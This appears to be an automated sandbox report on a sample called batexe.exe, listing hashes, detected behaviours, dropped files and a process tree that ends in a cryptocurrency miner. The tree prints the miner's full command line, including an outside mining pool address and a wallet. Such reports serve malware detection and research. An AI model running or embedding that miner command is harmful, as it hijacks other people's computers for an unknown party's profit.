73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14-02-2024 05:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5528	b2e.exe
5448	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe
5448	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5360-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5360 wrote to memory of 5528	5360	batexe.exe	83
PID 5360 wrote to memory of 5528	5360	batexe.exe	83
PID 5360 wrote to memory of 5528	5360	batexe.exe	83
PID 5528 wrote to memory of 1796	5528	b2e.exe	84
PID 5528 wrote to memory of 1796	5528	b2e.exe	84
PID 5528 wrote to memory of 1796	5528	b2e.exe	84
PID 1796 wrote to memory of 5448	1796	cmd.exe	87
PID 1796 wrote to memory of 5448	1796	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FB4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
10.9MB

MD5
ac3a9a4685d161b272440b0f08b2dc69

SHA1
74971bf8e20bc4165e0362ab85efa624a900f26a

SHA256
e3bb6966464dfa5a795d7377c4d0a5de8b21615e1f71f7627ccd37c7db7abb8b

SHA512
a66cc69285393992cce82eb92c2fa7850f33408a7e9cbba21785d875d3eabda6059139a6f9095de9ae96e348c196c793106b9a0e1eeccfa41e65ab5a23da85b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
4.1MB

MD5
f5166ee33c975fee20fdc522d2e7d223

SHA1
6091a28020c7da5a7ae541cea17872098c18c84a

SHA256
e783b7ec6e58223156badb4fd97e451e50eaa7163ce6d098617ad8b328c6bd3b

SHA512
d32b021477dd807011f69f8af290521f98bdc6b19a6228db4b0c2a7fba1800ff09094207121a2e981bc2b19fb924f226fb45a8204e20073e9fb87e842c89720c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D14.tmp\b2e.exe

Filesize
4.3MB

MD5
a2291e6db817ea63784b088d72b887fe

SHA1
b79078f6576a5e23aefa54a6c673dff8baf4dcde

SHA256
38cae8a63a31b6da09945a43a28c9cd9fb287b2899c2cd21b3399702324319be

SHA512
908ee7b4ddce0f7fc9aa5bc229a1de844914799dc572cdb438c49328d5ca5ab1f7720702746642ff54dc8a7b618e89838b524765cce9ff1045442c5916f7611a

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FB4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
6636a33d3f69f66ec088a6151f3718b2

SHA1
d82325a46dbd23eee454126a7c46bd5e9aff964b

SHA256
64a0e4b9e3a767fe37c90d7c871f7932cbbe5b37355db6eaa92245cc91886044

SHA512
8fa39937d6f55a565b9edfd53fb306073aee1761d06469fbb18bbb10c75dc2e1a8e22b5f29d957ea07e6b9085ddaff0188339426f7c6de5dda1772b36b07f79d

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
7c02e472771435a07ec3fc6309d63438

SHA1
7b4eb86e0bf57a9b8e74fac1ce4ce8a380844000

SHA256
0ef3fe6c1782c64a66f2c0c287a1e20ed25a575867031e738fe99efea4e4290c

SHA512
83bfc35f54fb7aa84630119fbaa3407d73a4609c1f2f1ae950051b3e15f8a141437dc4e5b5b0fd77772d3196e691bc4e673e8f073214d13fa26f3ad049c08af6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
eaf0e07cfe0443be61caf0a16fde50ad

SHA1
efc7fa5e9d98bd49c5a721bc14f923f145b14a32

SHA256
b01da5be6eb74ee2690b8f71ea49b44f3bb28c5a876debff451e273ef53716d3

SHA512
c9fbc9863e3e7c578afd7feec73ec5b0ba22572935fb2c23b51f7d0e67f6a66e95838b071006fbe33fce4281b0e36973ba9a20793facb66e56334cbae183d3e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
43584188cd65d43f11c5017a6f249bf0

SHA1
06f7809bdfea84da1b301e7da48560ab1b4eb08d

SHA256
75aa9eb709c988874ba803fb14fad251e3066940027b90af20cd4ea0f670f26a

SHA512
4bbb4230eca4335c52213ce1da0e23f52ff83c8a4cf097c2daf93cbf61de001b1c3865caf20a2ab829155a1acc08688b468ad7120da8cf259f638c9f06faaf77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
696922f5250b5df33813776816103357

SHA1
6f6e4cecb16596c1ad0e631c7ab5b56659da1ca2

SHA256
2802e69b65032d2cb76172ab508766f8a2b2beba9c2cd84dbf7c28fc9cbe1c7d

SHA512
dcb8535a83f321561241432304155a2e2a18435e102785a5789bd3a9ed643f153fb63ca797c8ca798d2d85927b29375048b43b0ef0bc4cb00c1c96b5822e8ae9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
40eb1d15c895dae35b7db4ca2aa11c1e

SHA1
83a334b5a542edb2dd0cfb59c3dc249d1965763b

SHA256
c29a762573d93ca1c95d563acaeaf279eeec1c966076a496e90fe88797a513d2

SHA512
a97182da1c1670c69f44863f3791da29f078830ed84cf40f0a9e26a6e47629d9678c1529f5d429d7a9950b243fd9934647b9bccc41060a82f1462e95a579fca9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
cfa7644e6c3ba7ec0e7c9b4a8fecc83d

SHA1
12ef773ffa079c81c831e735de6be289eda9df11

SHA256
1755e18ae382fe7c7b20f17eda2d50cb827698144292111644728a10d5b8f824

SHA512
692990152cdb536c1faab483effd0b86207c0d3db63d1dc54f019233b2656a332ae56866296c82265dfb01dd25048c50c3b1da78a940d13a5267ee2d99512da7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/5360-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5448-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5448-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5448-46-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/5448-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/5448-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5448-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5528-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download